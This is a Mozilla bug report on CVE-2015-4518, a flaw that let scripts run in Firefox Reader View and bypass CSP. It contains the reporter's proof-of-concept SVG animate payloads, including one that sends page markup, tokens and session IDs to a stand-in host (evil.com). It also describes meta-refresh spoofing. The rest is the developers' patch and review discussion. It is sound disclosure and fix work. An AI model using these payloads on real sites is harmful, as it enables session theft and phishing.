Closed Bug 1182778 (CVE-2015-4518) Opened 9 years ago Closed 9 years ago

Passive script execution on about:reader via SVG animations (affects: Firefox, NoScript, CSP; impact: spoofing, phishing)

Categories

(Toolkit :: Reader Mode, defect)

Product:
Toolkit
Component:
Reader Mode
Version:
39 Branch
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla43
Tracking Flags:
Tracking Status
firefox41 --- wontfix
firefox42 --- fixed
firefox43 + fixed
firefox-esr38 --- wontfix

People

(Reporter: mario, Assigned: Gijs)

References

(Depends on 2 open bugs)

Details

(Keywords: sec-moderate, wsec-xss, Whiteboard: [post-critsmash-triage][adv-main42+])

Attachments

(3 files, 2 obsolete files)

A page to load in Reader View. it contains an SVG that executes script but doesn't get stripped.
(deleted), text/html
Details
Patch v3
(deleted), patch
Margaret
: review+
Gijs
: feedback+
Sylvestre
: approval-mozilla-aurora+
ritu
: approval-mozilla-beta-
ritu
: approval-mozilla-release-
Details | Diff | Splinter Review
Fix nsTreeSanitizer
(deleted), patch
bzbarsky
: review+
Sylvestre
: approval-mozilla-aurora+
ritu
: approval-mozilla-beta-
Sylvestre
: approval-mozilla-esr38-
Details | Diff | Splinter Review
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 Build ID: 20150629114848 Steps to reproduce: Firefox offers a special mode for websites supposedly containing articles and text-heavy content that is called the "Reader View" (RV). This RV mode removes any potentially disturbing content from a website and attempts to show only the relevant details such as article headlines, article images and article body. RV removes the ability to execute scripts (similarly to the RV offered by MS's Edge Browser). It does so by imposing a white-list on HTML content and stripping all that is not considered harmless. this includes script elements, JavaScript URIs, event handlers and more. The RV is being deployed from a special scope, about:reader. A URL of a website opened in RV will be "about:reader?url=`escape(%website-url%)`". While the URL is deployed from the about:reader scheme, the address bar hides that scheme prefix and shows the original page URL. My tests have shown, that this white-list is too permissive and allows for elements to pass, even though they can execute JavaScript. Here is the full test case I was using (PHP file - for CSP headers' sake): <?php header('Content-Security-Policy: default-src \'self\' '); ?><html> <head> </head> <body> <h1>Some Article</h1> <article> <h2>Some headline</h2> <p> <svg xmlns:xlink="http://www.w3.org/1999/xlink"> <a xlink:href> <circle r="999"></circle> <animate attributeName="xlink:href" from="javascript:alert(location)" to></animate> </a> </svg> Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur? </p> <p> Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur? </p> </article> </body> </html> Once we load this URL from any web-origin, let's say http://example.com/test.php, the Firefox browser will show a small icon in the address bar, allowing a user to change into the RV. Once the RV is loaded, the page is shown with the customized minimal markup. Now, the interesting part is, that a certain dangerous part of the HTML from our test case above is not being removed: <svg xmlns:xlink="http://www.w3.org/1999/xlink"> <a xlink:href> <circle r="999"></circle> <animate attributeName="xlink:href" from="javascript:alert(location)" to></animate> </a> </svg> What is shown with this test-case is a large black box (a clip of the SVG circle). Clicking this box will trigger an alert window, executing from about:reader. Note that this happens despite CSP headers being used on the original page. Further note that for example NoScript needs to white-list about:reader for the RV to be used at all. Once that is the case, NoScript does not prevent the script execution any much longer. This is not optimal and might require changes in both FF and NoScript to function as expected (e.g. allowing NoScript to apply the domain-trust to pages even when loaded in RV). I was thinking about possible exploitation of this seemingly unwanted behaviour. And I think it can be exploited. let's assume the following scenario: * An attacker injects the malicious SVG on a website * The website uses CSP, users of modern browsers are not affected by the injection * A user now decides to use RV and watches the injected page * All of a sudden, the payload does work despite CSP * Naturally, we have no true XSS here but the attacker can still do a lot > Use document.write to eliminate all UI elements of RV > Fill the page with arbitrary other content, like a forged login form / other phishing frenzy The core problem here is, that, even though the page in RV is deployed from about:reader, the user cannot distinguish between RV being active or not. The attacker can influence the entirety of HTML and write whatever into the page body, while the address bar is still showing the original URL without the about:reader prefix. Despite the domain using CSP, the attacker can phish with JavaScript and exfiltrate any data the user emits. And NoScript doesn't seem to help here. To fix the issue, I'd recommend several things: * Fix the white-list and eliminate SVG's animate and set * Provide a better domain-based distinction for NoScript to work as expected * Optimize the info shown in the address bar to avoid spoofing attacks * Don't lose security headers on the way. CSP in regular mode should also work in RV Actual results: see above Expected results: see above
OS: Unspecified → All
Hardware: Unspecified → All
I'm not super fussed about the spoofing risk. The awesome bar still shows the URL of the page that is trying to attack reader mode. I'd call this sec-low (moderate at most), unless you can do something more than you could do with content.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: wsec-xss
@Giorgio I tested with NoScript 2.6.9.30 with settings being reset. After permitting RV in general, the script executed on click. There's no domain based protection for pages shown in RV.
I misread the spoofing risk. I understand that your scenario assumes XSS on a page that has CSP and reader mode provides a CSP bypass here.
(In reply to Frederik Braun [:freddyb] from comment #5) > I misread the spoofing risk. I understand that your scenario assumes XSS on > a page that has CSP and reader mode provides a CSP bypass here. Yep, the core problem here is that security headers are not respected. Neither would CSP work, nor would NoScript in the current version have a realistic chance to stop the injected script from executing.
Flags: needinfo?(fbraun)
Wouldn't calling SetSandboxFlags on the document to disable scripting (and anything else you need disabled) be what you need? You basically want to run like SVG does when running as an image (which disables scripting - dholbert may be able to help with that).
With the current architecture, it seems that we do need scripts for the buttons on the left. I hope we can move that into the parent and do as Robert suggests in comment 8.
(In reply to Frederik Braun [:freddyb] from comment #9) > With the current architecture, it seems that we do need scripts for the > buttons on the left. I hope we can move that into the parent and do as > Robert suggests in comment 8. Another thing I noticed today making this slightly more exploitable: * One page loaded in RV can window.open() any other page in RV * That means, that a website using CSP can be attacked by any other website opened in RV: > Open evil/attacked/MitM'd website in RV > Click anywhere on the page > Target website with CSP + XSS payload opens in RV Iframing seems not to be possible though. Further, any cross-domain access seems to blocked, so we stay at phishing and spoofing in regards to the impact.
Summary: Passive script execution on about:read via SVG animations (affects: Firefox, NoScript, CSP; impact: spoofing, phishing) → Passive script execution on about:reader via SVG animations (affects: Firefox, NoScript, CSP; impact: spoofing, phishing)
(In reply to Frederik Braun [:freddyb] from comment #9) > With the current architecture, it seems that we do need scripts for the > buttons on the left. I hope we can move that into the parent and do as > Robert suggests in comment 8. It seems that in addition to CSP, Content-Disposition headers are being ignored as well. That means, a page that is rendered in RV can open another page in RV even if that other page would otherwise be offered as a download. I assume, the core security assumption here is, that a non-about origin cannot navigate to about:reader?
(In reply to Mario Heiderich from comment #12) > (In reply to Frederik Braun [:freddyb] from comment #9) > > With the current architecture, it seems that we do need scripts for the > > buttons on the left. I hope we can move that into the parent and do as > > Robert suggests in comment 8. > > It seems that in addition to CSP, Content-Disposition headers are being > ignored as well. That means, a page that is rendered in RV can open another > page in RV even if that other page would otherwise be offered as a download. > I assume, the core security assumption here is, that a non-about origin > cannot navigate to about:reader? We do our best to prevent that, yes. It would be interesting if you noticed a way to bypass this. (there are currently no particular restrictions in place for what about:reader itself can link to, as you noted.) I'm personally not sure what the security impact of showing rather than downloading pages with Content-Disposition headers would be. (CC'ing some more reader mode folks so they can follow along / make suggestions)
(In reply to :Gijs Kruitbosch from comment #13) > (In reply to Mario Heiderich from comment #12) > > (In reply to Frederik Braun [:freddyb] from comment #9) > > > With the current architecture, it seems that we do need scripts for the > > > buttons on the left. I hope we can move that into the parent and do as > > > Robert suggests in comment 8. > > > > It seems that in addition to CSP, Content-Disposition headers are being > > ignored as well. That means, a page that is rendered in RV can open another > > page in RV even if that other page would otherwise be offered as a download. > > I assume, the core security assumption here is, that a non-about origin > > cannot navigate to about:reader? > > We do our best to prevent that, yes. It would be interesting if you noticed > a way to bypass this. > (there are currently no particular restrictions in place for what > about:reader itself can link to, as you noted.) > > I'm personally not sure what the security impact of showing rather than > downloading pages with Content-Disposition headers would be. > > (CC'ing some more reader mode folks so they can follow along / make > suggestions) My security concern here is the following: * Many websites allow to upload files. Often with HTML/JavaScript content * The security measurement in place is usually to offer those files with Content-Disposition:attachment * A website loading in RV can link to other websites in RV * If an attacker manages to know the link to such uploaded file, they can redirect to it inside RV * The otherwise downloaded file will then be displayed as document in RV * Potentially embedded JavaScript can now execute In addition to that, I noticed the following code line: https://dxr.mozilla.org/mozilla-central/source/toolkit/components/reader/ReaderMode.jsm#204 Here, FF is instructed to parse the document loaded in RV for META Refreshes. If one is found, an XHR is used to fetch the document and display it in RV as well. This also works for cross-origin requests. The browser's address bar however does not reflect this change. Let's assume the test case in the ticket description above and add the following line of code: <head> ... <meta http-equiv="refresh" content="URL=https://test.de/" /> ... </head> The browser will now fire an XHR to test.de, even if loaded from example.com. Then, the content will be shown. Yet, the address bar does NOT update. It will show test.de's content as if it were loaded from example.com.
So, upon another review, I believe that the biggest security relevant impact here is not spoofing / phishing - but being able to steal tokens from the page markup. The RV uses credentials of course - and in case the page shown in RV contains any link, then with one click we can steal the page markup including the link by using this: <svg xmlns:xlink="http://www.w3.org/1999/xlink"> <a xlink:href> <circle r="999"></circle> <animate attributeName="xlink:href" from="javascript:location.replace('http://evil.com/?'+btoa(document.body.innerHTML))" to></animate --> <foreignObject><h1 style="color:red">XSS</h1></foreignObject> </a> </svg> <a href="http://www.secret.com/?token=6463287686329461">SECRET URL I</a> <a href="http://www.secret.com/?PHPSESSID=<?php echo session_id(); ?>">SECRET URL II</a> The URL spoofing issue based on the mentioned code line is IMHO another, different issue that is, if at all sec-low.
Thanks Mario! Since this is also a CSP bypass, we should call it sec-moderate. I am busy with meetings today and tomorrow, so I will get to most stuff only later this week. To summarize, we should address multiple things: * disable scripting capabilities for reader mode and move the existing buttons into a parent, if possible * fix the XSS * make the meta-refresh code more resilient to be case-insensitive * make the URL bar show the actual page that is opened in reader mode, especially after redirect
Keywords: sec-moderate
I am happy to provide a remote-hosted PoC if needed. That would demo how to steal tokens and send them across domains from a CSP-enabled page.
Depends on: 1184056
OK, I've done a bit of reading here and there. Readability.js does not sanitize, but really just extracts reading-worthy stuff out. Readability code comments say that we want to allow videos and embeds. Does this still hold true, Margaret? If not, we could just put everything into a sandboxed iframe that has scripts disallowed but allow-same-origin set, so we can modify it from the outside. I don't think we can fix the XSS *and* allow embed/iframe/object.
Flags: needinfo?(fbraun) → needinfo?(margaret.leibovic)
(In reply to Frederik Braun [:freddyb] from comment #18) > OK, I've done a bit of reading here and there. Readability.js does not > sanitize, but really just extracts reading-worthy stuff out. > > Readability code comments say that we want to allow videos and embeds. Does > this still hold true, Margaret? If not, we could just put everything into a > sandboxed iframe that has scripts disallowed but allow-same-origin set, so > we can modify it from the outside. > > I don't think we can fix the XSS *and* allow embed/iframe/object. I think we do still want to be able to see embedded content, at least videos, since those can be a significant part of the content. If the main threat is due to scripting in SVG animations, could we just find a way to remove those? Readability.js does attempt to remove scripts from the page content: https://github.com/mozilla/readability/blob/master/Readability.js#L1019 Could we try to make this more aggressive? Or would that likely still leave us open to other vulnerabilities? I agree that a sanboxed iframe is probably the simplest way to mitigate all risk, but I'd like to make sure that the content users want to see still works.
Flags: needinfo?(margaret.leibovic)
(In reply to :Margaret Leibovic from comment #20) > If the main threat is due to scripting in SVG animations, could we just find > a way to remove those? Readability.js does attempt to remove scripts from > the page content: > https://github.com/mozilla/readability/blob/master/Readability.js#L1019 > > Could we try to make this more aggressive? Or would that likely still leave > us open to other vulnerabilities? In particular, could we use the sanitizer to ditch scripted content but not the embeds/objects, so we keep youtube/vimeo etc. working?
Flags: needinfo?(fbraun)
If we allow arbitrary embeds, objects (especialls flash content), we basically re-allow scripts. Even if we disallow scripts in svg.
Flags: needinfo?(fbraun)
(In reply to Frederik Braun [:freddyb] from comment #22) > If we allow arbitrary embeds, objects (especialls flash content), we > basically re-allow scripts. Even if we disallow scripts in svg. What about sandboxing these embeds in iframes? Looking at the PR for adding support for embedded videos, I see that we added support for detecting an iframe: https://github.com/mozilla/readability/pull/207 Or maybe we should just deprecate flash in reader view. As much as it's nice to see embedded media content, I think we've been marketing reader view as more of a "reading" feature than a "watching" feature, so maybe users wouldn't be upset for videos to go missing. I should note, however, that vimeo has a nice HTML5 player, so maybe not all embedded videos would break if we disallowed arbitrary embeds.
Deprecating flash is your call, but I'm all for it ;) We could still allow iframes with iframe sandbox - that ensures a separate origin, but we may still allow scripts (which a video player is likely to require). I will look into this. Margaret, can you take the part that involves changing the URL bar when we follow meta-redirects?
Attached patch Patch for redirect issue (obsolete) (deleted) — — Splinter Review
Not taking because I'm about to go on PTO (so if this gets r+'d and so on, please land this for me!), but I believe this should do? Freddy, can you please check my scriptsecuritymanager usage? Tested with a chrome URI that this correctly yells and fails to do anything (which actually kicks people back out of reader mode, which I think is OK considering what the page is trying to do). Tested with the attached testcase and: <meta http-equiv="refresh" content="URL=http://www.bbc.co.uk/news/uk-33562420"> which correctly shows the BBC URI in the location bar with this patch when showing its reader mode view.
Attachment #8635260 - Flags: review?(margaret.leibovic)
Attachment #8635260 - Flags: review?(fbraun)
Comment on attachment 8635260 [details] [diff] [review] Patch for redirect issue Sorry I am not familiar with the scriptSecurityManager. Can you pass it on to someone else?
Attachment #8635260 - Flags: review?(margaret.leibovic)
Comment on attachment 8635260 [details] [diff] [review] Patch for redirect issue *facepalms loudly, while re-adding margaret for review*
Attachment #8635260 - Flags: review?(fbraun) → review?(margaret.leibovic)
Bobby, is this something you are familiar with? We want to prevent redirects without changes of the URL bar from within reader mode. See comments above for more context. Gijs suggested you might be able to review this patch attempt.
Flags: needinfo?(bobbyholley)
Component: Untriaged → Reader Mode
Product: Firefox → Toolkit
Comment on attachment 8635260 [details] [diff] [review] Patch for redirect issue Review of attachment 8635260 [details] [diff] [review]: ----------------------------------------------------------------- This looks fine to me from a reader view logic point of view, but I'm also not familiar with scriptSecurityManager, and I'd like us to avoid logging the URLs for where this is used on mobile. ::: toolkit/components/reader/AboutReader.jsm @@ +22,5 @@ > > let AboutReader = function(mm, win, articlePromise) { > let url = this._getOriginalUrl(win); > if (!(url.startsWith("http://") || url.startsWith("https://"))) { > + Cu.reportError("Only http:// and https:// URLs can be loaded in about:reader (tried to load: " + url + ")"); On mobile, Cu.reportError goes to logcat, and we have a policy of avoiding logging sensitive data like URLs. Can we avoid logging the URL here, perhaps by putting it behind some sort of debug pref?
Attachment #8635260 - Flags: review?(margaret.leibovic) → feedback+
Comment on attachment 8635260 [details] [diff] [review] Patch for redirect issue Review of attachment 8635260 [details] [diff] [review]: ----------------------------------------------------------------- Sorry I didn't get to this before heading out on PTO - bouncing to bz.
Attachment #8635260 - Flags: feedback?(bzbarsky)
Flags: needinfo?(bobbyholley)
Comment on attachment 8635260 [details] [diff] [review] Patch for redirect issue This seems like the right check to do if you want to follow the meta redirect but want to avoid things like data: and javascript:, yes...
Attachment #8635260 - Flags: feedback?(bzbarsky) → feedback+
(In reply to :Margaret Leibovic from comment #29) > On mobile, Cu.reportError goes to logcat, and we have a policy of avoiding > logging sensitive data like URLs. Can we avoid logging the URL here, perhaps > by putting it behind some sort of debug pref? Is there an existing pref we can use for this so we do report the error on desktop?
Flags: needinfo?(margaret.leibovic)
(In reply to :Gijs Kruitbosch from comment #32) > (In reply to :Margaret Leibovic from comment #29) > > On mobile, Cu.reportError goes to logcat, and we have a policy of avoiding > > logging sensitive data like URLs. Can we avoid logging the URL here, perhaps > > by putting it behind some sort of debug pref? > > Is there an existing pref we can use for this so we do report the error on > desktop? Not that I know of, no. Maybe we should create some pref like "reader.logging.urlLoggingEnabled" that we can set to true in firefox.js and false in mobile.js.
Flags: needinfo?(margaret.leibovic)
Attached patch Patch for redirect issue with pref for logging (obsolete) (deleted) — — Splinter Review
This should work, I think?
Assignee: nobody → gijskruitbosch+bugs
Attachment #8635260 - Attachment is obsolete: true
Status: NEW → ASSIGNED
Attachment #8643563 - Flags: review?(margaret.leibovic)
Attachment #8643563 - Flags: feedback+
Comment on attachment 8643563 [details] [diff] [review] Patch for redirect issue with pref for logging Hrm, nope, not happy with this yet.
Attachment #8643563 - Flags: review?(margaret.leibovic)
Attached patch Patch v3 (deleted) — — Splinter Review
Tested on desktop, tried to look for other places that had errors that would expose URIs in reader mode. I think this should be good, but I can't easily test on mobile myself.
Attachment #8643563 - Attachment is obsolete: true
Attachment #8643570 - Flags: review?(margaret.leibovic)
Attachment #8643570 - Flags: feedback+
Comment on attachment 8643570 [details] [diff] [review] Patch v3 Review of attachment 8643570 [details] [diff] [review]: ----------------------------------------------------------------- This looks reasonable to me. I didn't build and test, but only the ReaderParent changes should need a corresponding mobile update. ::: browser/modules/ReaderParent.jsm @@ +73,5 @@ > } > + }, e => { > + if (e && e.newURL) { > + message.target.loadURI("about:reader?url=" + encodeURIComponent(e.newURL)); > + } We should probably add the same logic here: http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/Reader.js#56 @@ +236,5 @@ > return yield ReaderMode.downloadAndParseDocument(url).catch(e => { > + if (e && e.newURL) { > + // Pass up the error so we can navigate the browser in question to the new URL: > + throw e; > + } And here: http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/Reader.js#291 ::: toolkit/components/reader/AboutReader.jsm @@ +23,5 @@ > let AboutReader = function(mm, win, articlePromise) { > let url = this._getOriginalUrl(win); > if (!(url.startsWith("http://") || url.startsWith("https://"))) { > + let errorMsg = "Only http:// and https:// URLs can be loaded in about:reader."; > + if (Services.prefs.getBoolPref("reader.errors.includeURLs")) Thanks for adding this pref.
Attachment #8643570 - Flags: review?(margaret.leibovic) → review+
I've not landed this yet because I realized afterwards that redirecting this way might cause an infinite loop: about:reader?url=http://www.foo.com foo.com has: <meta http-equiv="refresh" content="URL=http://www.foo.com/" /> and we reload about:reader?url=http://www.foo.com/ etc. Of course we can check for equality with the current URI, but that won't help against deliberate loop scenarios. That wouldn't be any different from the normal meta refresh case if it weren't for the fact that we don't actually fully parse the meta refresh instruction for reader mode, and so it is trivial to make a testcase where opening the page normally does nothing but opening it in reader mode breaks. Margaret, thoughts?
Flags: needinfo?(margaret.leibovic)
Hm, actually, I suppose that isn't new with this approach, assuming we re-parse the loaded document in the same way... I'll file a separate followup bug for that, then.
Flags: needinfo?(margaret.leibovic)
remote: https://hg.mozilla.org/integration/fx-team/rev/9fc0f0ba0cca Right, so the XSS-side of things. It seems like short-term it's not trivial to completely disable script on the page. We'd need to alter the reader mode page for the buttons to not require script on the page itself, and we'd need to live with not having any video embedding that requires scripts to work on the page. A significant number of news articles these days embed videos as part of a news report (BBC and CNN are significant examples that I can think of off the top of my head that have been reported here) and removing them outright would be a functionality regression that I would not really like to see. The XSS though happens because a web site is already compromised in some way. That compromise is mitigated outside reader mode by CSP. We could put the content part of reader mode in an iframe and reuse the CSP settings for scripts, maybe? We'd still need to be able to affect styles in the iframe'd content bit, but this would stop the kind of exploit that we're talking about here without breaking object/script content on other pages. Margaret, does that sound sensible? Do you think there's an easier way to do this? Dan, Freddy is on PTO, so can you weigh in from the security side of things regarding the XSS / CSP bypass / dealing with scripts/videos in reader mode?
Flags: needinfo?(margaret.leibovic)
Flags: needinfo?(dveditz)
Keywords: leave-open
Flags: needinfo?(dveditz) → sec-bounty?
Attachment #8632450 - Attachment mime type: text/plain → text/html
You've got a hairy set of competing goals here :-( To be honest I'm uncomfortable taking scripts (even legit scripts on the page) and transplanting them to a new origin. I guess the about: urls are all separate origins so there's that at least. I'd be happiest with us scraping static content and putting into an <iframe sandbox>, which was designed to hold untrusted content. When you put the content into an about:something URL it gets different powers than we've thought through. For instance it can link to or frame "about:config", a chrome-privileged window. We've had several vulnerabilities in the past that were mitigated by the inability of web content to link to or otherwise manipulate a chrome-privileged window. It's not same-origin and it /should/ be safe, but we've had many vulnerabilities that this kind of set up turned from a same-origin violation into arbitrary code execution. That argues for sanitizing the content within an inch of its life. What's the alternative? Trying to copy over the CSP (converting 'self' to the original origin, modifying directives like style-src that get in your way) would protect against this case where the script wasn't supposed to be there, that it's an attack from some 3rd party on the page. It would not, however, protect against a malicious page trying to use about:reader to crack Firefox open -- such a page would simply avoid having a CSP. Could we create an overlay <div> that covers the original page content? Then we're not messing with the origin and any page CSP easily applies. But then it's pretty easy for the page to mess with the reader overlay if it wanted. What if we display the page in about:reader but apply a CSP that blocks most scripts, but whitelists our own video playback controls that was apply to any <video> tags we find. Or we present a placeholder image for any videos, but when you click it you go somewhere else to watch it (maybe back to the original page?). Really don't know what's safe to do.
(In reply to Daniel Veditz [:dveditz] from comment #42) > You've got a hairy set of competing goals here :-( To be honest I'm > uncomfortable taking scripts (even legit scripts on the page) and > transplanting them to a new origin. I guess the about: urls are all separate > origins so there's that at least. I'd be happiest with us scraping static > content and putting into an <iframe sandbox>, which was designed to hold > untrusted content. Right. Security-wise, I'm unhappy at the current state of things, too (even if this is "only" sec-moderate). AIUI, the major video sites currently don't let you use <video> to embed content, and a quick test shows that embedding in a sandboxed iframe without allow-scripts breaks embed/object. So it seems we have a choice between: 1) do nothing (technically an option, not the one I'd prefer...) 2) try to apply site CSP. Would fix this issue, would potentially leave other holes (esp. as we're reconsidering the restriction on file:/// URIs); 3) apply strict sandboxing and break essentially all the videos. I am not a great web video user, so I would happily pick (3) (maybe with the click-through that dveditz is suggesting) but I can see how that would result in news articles missing their embedded content and such. :-\ Margaret, how do you feel about the web video breakage + clickthrough for those?
Per discussion with Margaret, we think we should just strip everything. This is what other browsers (Safari) do, it is the safer option, and the primary usecase for reader mode is not watching video.
Flags: needinfo?(margaret.leibovic)
Flags: needinfo?(fbraun)
Flags: needinfo?(dveditz)
Group: core-security → toolkit-core-security
(In reply to Gijs Kruitbosch (PTO until Sep 6) from comment #44) > Per discussion with Margaret, we think we should just strip everything. This > is what other browsers (Safari) do, it is the safer option, and the primary > usecase for reader mode is not watching video. Agreed!
Flags: needinfo?(fbraun)
Attached patch Fix nsTreeSanitizer (deleted) — — Splinter Review
So in the end this was a lot simpler than I thought - we already run the sanitizer on content, so this should Just Work - but as comment #0 indicated, we should be stripping animate and set elements, too, which we aren't currently. This probably wants uplifting because it will affect other users of the sanitizer that don't pass the "drop media" or "restrict urls to cids only" flags.
Flags: needinfo?(dveditz)
Attachment #8658707 - Flags: review?(bzbarsky)
Depends on: 1203102
Tracking for 43 to keep an eye on this.
status-firefox43: --- → affected
tracking-firefox43: --- → +
Comment on attachment 8658707 [details] [diff] [review] Fix nsTreeSanitizer r=me
Attachment #8658707 - Flags: review?(bzbarsky) → review+
https://hg.mozilla.org/mozilla-central/rev/c3df6435ad5e
Status: ASSIGNED → RESOLVED
Closed: 9 years ago
status-firefox43: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla43
Comment on attachment 8658707 [details] [diff] [review] Fix nsTreeSanitizer Approval Request Comment [Feature/regressing bug #]: limited scope security issue with scripts running in reader mode where they shouldn't be. [User impact if declined]: idem [Describe test coverage new/current, TreeHerder]: limited existing test cover [Risks and why]: this may break some content that passes through the sanitizer. That is necessary (short-term) to fix the issue at hand. I don't expect much real content to be affected by this, as inline SVG use on the web is fairly limited, and Chrome has already deprecated SMIL, suggesting developers use CSS instead. [String/UUID change made/needed]: none. I'm asking for ESR approval because I expect that the sanitizer gets invoked from mailnews as well, and potentially by add-ons. I realize this is late in the cycle, and I am not an expert on the web risk for SVG here, but "rather safe than sorry" seems like a sensible approach here. bz, does that make sense to you as well or do you think I am overstating the case / underestimating the risk?
Flags: needinfo?(bzbarsky)
Attachment #8658707 - Flags: approval-mozilla-esr38?
Attachment #8658707 - Flags: approval-mozilla-beta?
Attachment #8658707 - Flags: approval-mozilla-aurora?
Comment on attachment 8643570 [details] [diff] [review] Patch v3 Approval Request Comment [Feature/regressing bug #]: reader mode [User impact if declined]: reader mode redirect spoofing security issues [Describe test coverage new/current, TreeHerder]: minor existing test coverage [Risks and why]: low, has baked for a long time, might cause brokenness when opening websites in reader mode that don't redirect sanely (ie which would already be broken outside reader mode). [String/UUID change made/needed]: no.
Attachment #8643570 - Flags: approval-mozilla-beta?
Attachment #8643570 - Flags: approval-mozilla-aurora?
I think this is reasonably low risk except for people doing copy/paste of SVG. That part worries me a bit.
Flags: needinfo?(bzbarsky)
Thinking over these bits again.. (In reply to Daniel Veditz [:dveditz] from comment #42) > … > When you put the content into an about:something URL it gets different > powers than we've thought through. For instance it can link to or frame > "about:config", a chrome-privileged window. We've had several > vulnerabilities in the past that were mitigated by the inability of web > content to link to or otherwise manipulate a chrome-privileged window. It's > not same-origin and it /should/ be safe, but we've had many vulnerabilities > that this kind of set up turned from a same-origin violation into arbitrary > code execution. That argues for sanitizing the content within an inch of its > life. > > What's the alternative? Trying to copy over the CSP (converting 'self' to > the original origin, modifying directives like style-src that get in your > way) would protect against this case where the script wasn't supposed to be > there, that it's an attack from some 3rd party on the page. It would not, > however, protect against a malicious page trying to use about:reader to > crack Firefox open -- such a page would simply avoid having a CSP. > ...I am not sure if we already want to close this bug. Though I want to note that the reader mode currently removes links to the about scheme.
Comment on attachment 8658707 [details] [diff] [review] Fix nsTreeSanitizer I don't think this matches the ESR criteria. Ritu will make the call for 41.
Attachment #8658707 - Flags: approval-mozilla-esr38?
Attachment #8658707 - Flags: approval-mozilla-esr38-
Attachment #8658707 - Flags: approval-mozilla-aurora?
Attachment #8658707 - Flags: approval-mozilla-aurora+
Attachment #8643570 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+
(In reply to Frederik Braun [:freddyb] from comment #55) > Thinking over these bits again.. > > (In reply to Daniel Veditz [:dveditz] from comment #42) > > … > > When you put the content into an about:something URL it gets different > > powers than we've thought through. For instance it can link to or frame > > "about:config", a chrome-privileged window. We've had several > > vulnerabilities in the past that were mitigated by the inability of web > > content to link to or otherwise manipulate a chrome-privileged window. It's > > not same-origin and it /should/ be safe, but we've had many vulnerabilities > > that this kind of set up turned from a same-origin violation into arbitrary > > code execution. That argues for sanitizing the content within an inch of its > > life. > > > > What's the alternative? Trying to copy over the CSP (converting 'self' to > > the original origin, modifying directives like style-src that get in your > > way) would protect against this case where the script wasn't supposed to be > > there, that it's an attack from some 3rd party on the page. It would not, > > however, protect against a malicious page trying to use about:reader to > > crack Firefox open -- such a page would simply avoid having a CSP. > > > > ...I am not sure if we already want to close this bug. Though I want to note > that the reader mode currently removes links to the about scheme. Can you elaborate on what you think still needs fixing? I think if we do have more followup issues, IMO they should get their own bugs - juggling the two patches in this bug with uplift requests will be enough "fun" as it is. :-( For context, my impression is that the sanitizing of the reader mode content that we currently do ought to be sufficient to prevent all script from running. The only thing I can think of offhand that we may or may not care about a lot would be style/img directives in the original page that get ignored with the CSP, and get used when the CSP is inactive. As I've noted elsewhere, moving stuff into an iframe so we can set sandboxing attributes is possible, but not entirely trivial, and that too I would prefer to do in a different bug.
Flags: needinfo?(fbraun)
OK, let's file a follow-up that does hardens stuff using a sandbox and/or retains the existing CSP.
Flags: needinfo?(fbraun)
Group: toolkit-core-security → core-security-release
Comment on attachment 8643570 [details] [diff] [review] Patch v3 Taking any patches at this point in RC is very risky. The criteria is limited to critical sec issues that are easily exploitable, issues impacting a significant set of end-users, major regressions during beta cycle, crash/hang up spikes, etc. This bug does not meet that criteria. It is too late to take a fix in 41 for this.
Attachment #8643570 - Flags: approval-mozilla-beta? → approval-mozilla-beta-
Comment on attachment 8658707 [details] [diff] [review] Fix nsTreeSanitizer Please see my previous Beta- comment.
Attachment #8658707 - Flags: approval-mozilla-beta? → approval-mozilla-beta-
Depends on: 1204818
Flags: sec-bounty? → sec-bounty+
Comment on attachment 8643570 [details] [diff] [review] Patch v3 Approval Request Comment see earlier approval request + the discussion in bug 1195976, where we now drop out of reader mode in certain cases because that patch depended on this patch, and this patch didn't make 41.
Flags: needinfo?(rkothari)
Attachment #8643570 - Flags: approval-mozilla-release?
Thanks Gijs! I will leave the m-r:? request untouched for ~a week and when we are closer to gtb dot release, I will review and approve if deemed safe.
Flags: needinfo?(rkothari)
Comment on attachment 8643570 [details] [diff] [review] Patch v3 I discussed this with Al a bit and based on our discussion the severity of this issue does not meet the RC bar which is major regressions, major crash/hang issues, data loss without workarounds. Given that I do not feel comfortable taking this fix in m-r. Thanks!
Attachment #8643570 - Flags: approval-mozilla-release? → approval-mozilla-release-
Whiteboard: [post-critsmash-triage]
status-firefox-esr38: affected → wontfix
Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main42+]
Alias: CVE-2015-4518
When writing an advisory, please note that this was identified by Mario (this bug) and me (bug 1136692) in parallel.
Group: core-security-release
